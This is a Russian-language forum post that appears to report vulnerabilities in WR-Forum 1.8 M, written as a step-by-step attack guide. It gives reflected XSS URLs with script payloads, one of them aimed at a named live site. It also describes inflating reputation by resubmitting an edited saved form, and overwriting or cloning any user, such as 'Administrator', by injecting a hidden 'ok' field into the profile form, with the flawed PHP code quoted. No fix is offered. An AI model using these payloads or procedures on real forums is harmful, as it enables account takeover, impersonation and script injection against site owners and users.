Представляю отчёт об уязвимостях, найденных мною в
WR-Forum 1.8 M.
1. Пассивные XSS
Цитата:
http://localhost/forum/tools.php?event=moresmiles&lines[12]=http://localhost/wrf/smile/"><script>alert()</script>.gif
|
Здесь
lines[12] означает количество картинок в папке
smile. По умолчанию их там 12 штук, но вообще количество может быть другим. Для реализации уязвимости нужно указать первое неинициализированное значение в массиве
$lines (по умолчанию 12), а опция
register_globals на сервере должна быть установлена в
On.
Ещё
Цитата:
http://forum.wmbux.info/tools.php?event=mailto&name=Pupkin&email=pupkin@du dak.ru<script>alert()</script>
|
2. Махинации с репой.
Имеется возможность выставления неадекватно большой или неадекватно маленькой репы, например,
1000000 или
-1000000000 и т.д.
Заходим по ссылке вида
Цитата:
http://localhost/forum/index.php?fid=1&id=111042960938#
|
Открываем исходный код страницы, ищем строчки
Цитата:
<FORM action='tools.php?event=repasave' method=post>
<TD bgcolor=#00880B><font size=+2 color=white>+5<INPUT name=repa type=radio value='+5'></TD>
|
Заменяем на
Цитата:
<FORM action='http://localhost/forum/tools.php?event=repasave' method=post>
<TD bgcolor=#00880B><font size=+2 color=white>+1000000<INPUT name=repa type=radio value='+1000000'></TD>
|
Сохраняем страницу на жесткий диск, затем открываем её оттуда, выбираем репутацию
'1000000', жмём кнопку
"Отправить".
3. Затирание произвольного юзера в базе, либо создание клона уже существующего юзера.
Ошибка связана с отсутствием фильтрации в переменной
$ok файла
tools.php
PHP код:
// проверка Логина/Старого пароля
$lines=file("$datadir/usersdat.php"); $i=count($lines);
do {$i--; $rdt=explode("|", $lines[$i]);
if (strtolower($name)===strtolower($rdt[0]) & $oldpass===$rdt[1]) {$ok="$i";} // Ищем юзера логин/пароль
else { if ($email===$rdt[3]) {$bademail="1"; } } // Вдруг у когото уже есть такой емайл?
} while($i > "1");
if (isset($bademail)) {print "$back. Участник с емайлом <B>$email уже зарегистрирован</B> на форуме!</center>"; exit;}
if (!isset($ok)) {setcookie("wrfcookies","",time());
print "$back Ваш новый логин /пароль / Емайл не совпадает НИ с одним из БД. <BR><BR>
Смена электронного адреса <font color=red><B>Запрещена</B></font><BR><BR>
<font color=red><B>Ошибка скрипта или попытка взлома - обратитесь к администратору!</B></font>";
exit;}
$udt=explode("|",$lines[$ok]); $dayreg=$udt[4]; $kolvomsg=$udt[2]; $status=$udt[13];
......................................................................................
Регистрируемся на форуме, заходим на страницу редактирования профиля по ссылке вида
Цитата:
http://localhost/wrf/tools.php?event=profile&pname=pupkin
|
Открываем исходный код страницы, ищем строчки
Цитата:
<form action='tools.php?event=reregist' name=creator method=post enctype=multipart/form-data>
<input type=hidden name=name value='pupkin'>
|
Заменяем их на
Цитата:
<form action='http://localhost/forum/tools.php?event=reregist' name=creator method=post enctype=multipart/form-data>
<input type=hidden name=name value='Administrator'>
|
а также добавляем строку
Цитата:
<input type=hidden name=ok value='3'>
|
, где
ok - номер строчки в файле
usersdat.php, куда будет записана информация о созданном юзере. Юзер, который уже находится в данной строчке - будет затёрт.
Сохраняем страницу на жесткий диск, открываем её оттуда, идём в поле
"Адрес e-mail: *" и указываем там новый e-mail, которого ещё нет в базе форума. Жмём кнопку
"Cохранить изменения".
Всё - можем размещать сообщения от имени другого пользователя.
*******